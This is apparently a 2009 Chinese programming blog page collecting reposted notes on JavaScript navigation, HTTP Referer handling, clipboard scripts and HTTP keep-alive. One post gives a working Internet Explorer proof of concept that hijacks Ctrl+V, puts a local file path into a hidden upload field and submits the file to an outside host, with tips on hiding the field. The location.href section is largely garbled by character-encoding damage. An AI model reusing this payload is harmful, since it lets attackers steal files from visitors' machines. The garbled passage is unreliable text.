2009年11月13日星期五

[note]一个实现代码高亮的JS库“SyntaxHighlighter”及其实现的复制功能

http://code.google.com/p/syntaxhighlighter/

库要求添加一个SWF文件,可见在Firefox等非IE浏览器下是使用flash来操作剪切版的。

代码在这:http://code.google.com/p/syntaxhighlighter/source/browse/trunk/Scripts/shCore.js

[转][精品]�� location.href � location.replace 的差�����用

在 JavaScript 中若要撰����址程式非常容易,有��的人都知道要用 location.href �性,而另外�有一� location.replace 可用,功能差不多,但在��上�用是有差�的,我今天就���它�之�的差�。

首先� JavaScript 初�者��清楚的�例,避免��程式。

location 物件的 href 是��性,�性需要直接指定其值,例如:

location.href = 'http://blog.miniasp.com/';  

location 物件的 replace 是�方法(method)函式(function),需要加上刮��入��,例如:

location.replace('http://blog.miniasp.com/');  

接著,我用一���的例子�明���用法直接下��的差�:

<a href="a.htm">a.htm</a>  
|  
<a href="#" onclick="location.href='a.htm'">location.href='a.htm';</a>  
|  
<a href="#" onclick="location.replace('a.htm')">location.replace('a.htm')</a>  

1. 直接用 <a href="a.htm"> ��的作法

  • ��器送出 Referer �� HTTP Header
  • ��器����的�史�� ( 好���器的 上一� 、 下一� 按�可以�作 )

2. 透� JavaScript 的 location.href 指派�址

  • ��器不�送出 Referer �� HTTP Header
  • ��器����的�史�� ( 好���器的 上一� 、 下一� 按�可以�作 )

3. 透� JavaScript 的 location.replace �入�址

  • ��器不�送出 Referer �� HTTP Header
  • ��器不�����的�史��! ( ��器�����史�� )

---

�解差�後,我再介�一���的�用,�你有更深一�的��。

我需要在��下��案,但有��的人��知道,通常的作法有��:

  1. �新�窗�行下��作
    • ��:��好�,�案�直接�在 Browser �窗中上。
    • 缺�:有�後�案下�了,但是�窗��留!
  2. 在本�直接下�
    • ��:��好�,�案�直接下�。
    • 缺�:若遇到�案�直接在 User 的��器直接��的��,有可能�� User 等到�案下�完才���,例如有些 PDF �非常大,下�的�段�� Browser �卡死不能�。
  3. 透�一��藏的 Frame 或 IFrame �行下� ( 直接透� <a> ��的 target 指定 iframe 目� )
    • ��:��好�,�案�直接下�,��不好�也不��留�窗。
    • 缺�:��不好��案就看不到了,不�可以透��定 Content-Disposition �制下�。
    • 缺�:�使用者��下����案,又按下��器上的「回上一�」�,�重新下�上一��案!
  4. 透�一��藏的 Frame 或 IFrame �行下� ( 透� location.href 指定下�目� )
    • ��:��好�,�案�直接下�,��不好�也不��留�窗。
    • 缺�:��不好��案就看不到了,不�可以透��定 Content-Disposition �制下�。
    • 缺�:�使用者��下����案,又按下��器上的「回上一�」�,�重新下�上一��案!
  5. 透�一��藏的 Frame 或 IFrame �行下� ( 透� location.replace 指定下�目� )
    • ��:��好�,�案�直接下�,��不好�也不��留�窗。
    • ��:�使用者��下����案,又按下��器上的「回上一�」�,因�在��器中� frame ������,所以不��生重�下�的�作。
    • 缺�:��不好��案就看不到了,不�可以透��定 Content-Disposition �制下�。

由此可知,第 5 �指定下�的方法是最好的!�然是一���的差�,但���上就是有那�一� "眉角" (台�, 小技巧的意思),一�小��分享。^_^

[转][精品]HTTP Referer二三事

转自:http://www.fwolf.com/blog/post/320

什么是HTTP Referer

简言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器 籍此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。

Referer其实应该是英文单词Referrer,不过拼错的人太多了,所以编写标准的人也就将错就错了。

我的问题

我刚刚把feed阅读器改变为Gregarius,但他不像我以前用的liferea,访问新浪博客的时候,无法显示其中的图片,提示"此图片仅限于新浪博客用户交流与沟通",我知道,这就是HTTP Referer导致的。

由于我上网客户端配置的特殊性,首先怀疑是squid的问题,但通过实验排除了,不过同时发现了一个Squid和Tor、Privoxy协同使用的隐私泄露问题,留待以后研究。

Gregarius能处理这个问题么?

答案是否定的,因为Gregarius只是负责输出html代码,而对图像的访问是有客户端浏览器向服务器请求的。

不过,安装个firefox扩展也许能解决问题,文中推荐的"Send Referrer"我没有找到,但发现另外一个可用的:"RefControl",可以根据访问网站的不同,控制使用不同的Referer。

但是我不喜欢用Firefox扩展来解决问题,因为我觉得他效率太低,所以我用更好的方式――Privoxy。

Privoxy真棒

在Privoxy的default.action中添加两行:

{+hide-referrer{forge}}
.album.sina.com.cn

这样Gregarius中新浪博客的图片就出来了吧?+hide-referrer是Privoxy的一个过滤器,设置访问时对HTTP Referer的处理方式,后面的forge代表用访问地址当作Refere的,还可以换成block,代表取消Referer,或者直接把需要用的Referer网址写在这里。

用Privoxy比用Firefox简单的多,赶紧换吧。

From https to http

我还发现,从一个https页面上的链接访问到一个非加密的http页面的时候,在http页面上是检查不到HTTP Referer的,比如当我点击自己的https页面下面的w3c xhtml验证图标(网址为http://validator.w3.org/check?uri=referer),从来都无法完成校验,提示:

No Referer header found!

原来,在http协议的rfc文档中有定义:

15.1.3 Encoding Sensitive Information in URI's

...

Clients SHOULD NOT include a Referer header field in a (non-secure)
HTTP request if the referring page was transferred with a secure
protocol.

这样是出于安全的考虑,访问非加密页时,如果来源是加密页,客户端不发送Referer,IE一直都是这样实现的,Firefox浏览器也不例外。但这并不影响从加密页到加密页的访问。

Firefox中关于Referer的设置


都在里,有两个键值:

network.http.sendRefererHeader (default=2) 设置Referer的发送方式,0为完全不发送,1为只在点击链接时发送,在访问页面中的图像什么的时候不发送,2为始终发送。参见Privacy Tip #3: Block Referer Headers in Firefox

network.http.sendSecureXSiteReferrer (default=true) 设置从一个加密页访问到另外一个加密页的时候是否发送Referer,true为发送,false为不发送。

利用Referer防止图片盗链

虽然Referer并不可靠,但用来防止图片盗链还是足够的,毕竟不是每个人都会修改客户端的配置。实现一般都是通过apache的配置文件,首先设置允许访问的地址,标记下来:

# 只允许来自domain.com的访问,图片可能就放置在domain.com网站的页面上
SetEnvIfNoCase Referer "^http://www.domain.com/" local_ref
# 直接通过地址访问
SetEnvIf Referer "^$quot; local_ref

然后再规定被标记了的访问才被允许:

<FilesMatch ".(gif|jpg)">
Order Allow,Deny
Allow from env=local_ref
</FilesMatch>

或者

<Directory /web/images>
Order Deny,Allow
Deny from all
Allow from env=local_ref</Directory>

这方面的文章网上很多,参考:
不要使用Rerferer的地方

不要把Rerferer用在身份验证或者其他非常重要的检查上,因为Rerferer非常容易在客户端被改变,不管是通过上面介绍的Firefox扩展,或者是Privoxy,甚至是libcurl的调用,所以Rerferer数据非常之不可信。

如果你想限制用户必须从某个入口页面访问的话,与其使用Referer,不如使用session,在入口页面写入session,然后在其他页面检查,如果用户没有访问过入口页面,那么对应的session就不存在,参见这里的讨论。不过和上面说的一样,也不要过于相信这种方式的"验证"结果。

个人感觉现在Rerferer除了用在防盗链,其他用途最多的就是访问统计,比如统计用户都是从哪里的链接访问过来的等等。

[note]适用于IE与Firefox的剪切板复制函数

这个函数Firefox下需要修改about:config,找到signed.applets.codebase_principal_support,将值设置为true。
所以还是不用为好,留在这做个记录。也见过有人用flash实现操作剪切板,更实用也更危险!

function CopyToClipboard(meintext)
{
    if (window.clipboardData) 
    {
        // the IE-manier
        window.clipboardData.setData("Text", meintext);
    }
    else if (window.netscape) 
    { 
        // dit is belangrijk maar staat nergens duidelijk vermeld:
        // you have to sign the code to enable this, or see notes below 
        netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
          
        // maak een interface naar het clipboard
        var clip = Components.classes['@mozilla.org/widget/clipboard;1']
                        .createInstance(Components.interfaces.nsIClipboard);
        if (!clip) return;
        //alert(clip);
        // maak een transferable
        var trans = Components.classes['@mozilla.org/widget/transferable;1']
                        .createInstance(Components.interfaces.nsITransferable);
        if (!trans) return;
           
        // specificeer wat voor soort data we op willen halen; text in dit geval
        trans.addDataFlavor('text/unicode');
           
        // om de data uit de transferable te halen hebben we 2 nieuwe objecten 
        // nodig om het in op te slaan
        var str = new Object();
        var len = new Object();
        var str = Components.classes["@mozilla.org/supports-string;1"]
                        .createInstance(Components.interfaces.nsISupportsString);
        var copytext=meintext;
        str.data=copytext;
        trans.setTransferData("text/unicode",str,copytext.length*2);
        var clipid=Components.interfaces.nsIClipboard;
        if (!clip) return false;
        clip.setData(trans,null,clipid.kGlobalClipboard);
    }
    else
    {
        return false;
    }

    alert("Following info was copied to your clipboard: " + meintext);
    return false;
}

[转]IE下用Javascript控制剪切板

 经常看到这样一种效果:就是单击一个按钮,就将某个区域内的内容,复制到了剪切板中。其实这个功能实现起来也不难,核心就是用到了window子对象clipboardData的一个方法:setData()
语法:
clipboardData.setData(sDataFormat, sData)
参数:sDataFormat:要复制的内容的格式;sData:要复制的内容。
返回值:复制成功返回true;失败返回false。

实例代码:
 
<script language="JavaScript">
function jianqie(id)
{var id;
var text=document.all(id).innerText
if (clipboardData.setData("text",text))
{alert("复制成功!")}
else
{alert("复制失败!")}
}
</script>

[转]Javascript剪切板劫持详解

首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!

那到底是什么回事呢? OK 我慢慢来说

首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!

怎么让用户上传呢? 很简单! 通过 <input type=file > 这样就能让用户上传文件了!

现在又一个问题是, input 为file的时候 value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!

其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?

没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤

1. 判断是否 进行 ctrl + v

2. 替换粘贴板

3. 光标切换到 文件上传

4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )

IE 下的 POC :

<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>

<body   onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
    if(event.ctrlKey){
        if(event.keyCode==86){
            window.clipboardData.setData("text","c:/boot.ini");
            document.getElementById('kj_filehijack').focus();
            document.s.submit();
        }
    }
}
</script>

</BODY>
</HTML>


本人分析:

1、有个问题就是用户粘贴的时候,ctrl+v贴了后,到别的地方如word,那么也会贴出这个内如。比如c:/boot.ini。不过也没事吧,反正c:/boot.ini已经传走了。
2、<body   onkeydown="temp()">
=========================要求必须在网页的body里面按ctrl+v.
那么这个body以藏或者iframe的话,不好办。

[转]HTTP长连接

File:HTTP persistent connection.svg

HTTP_persistent_connection.svg

 

keepalive的时间范围内,这些http请求共用同一个TCP connection. 如果keepalive为off的话,则每次http请求都需要新建tcp connection

 

摘自wikipedia:

HTTP persistent connections, also called HTTP keep-alive, or HTTP connection reuse, is the idea of using the same TCP connection to send and receive multiple HTTP requests/responses, as opposed to opening a new connection for every single request/response pair.

Advantages
less CPU and memory usage (because fewer connections are open simultaneously)
enables HTTP pipelining of requests and responses
reduced network congestion (fewer TCP connections)
reduced latency in subsequent requests (no handshaking)
errors can be reported without the penalty of closing the TCP connection

Java应用

client用apache的commons-httpclient来执行method 。
用 method.setRequestHeader("Connection" , "Keep-Alive" or "close") 来控制是否保持连接。

常用的apache、resin、tomcat等都有相关的配置是否支持keep-alive

tomcat中可以设置:maxKeepAliveRequests

The maximum number of HTTP requests which can be pipelined until the connection is closed by the server. Setting this attribute to 1 will disable HTTP/1.0 keep-alive, as well as HTTP/1.1 keep-alive and pipelining. Setting this to -1 will allow an unlimited amount of pipelined or keep-alive HTTP requests. If not specified, this attribute is set to 100.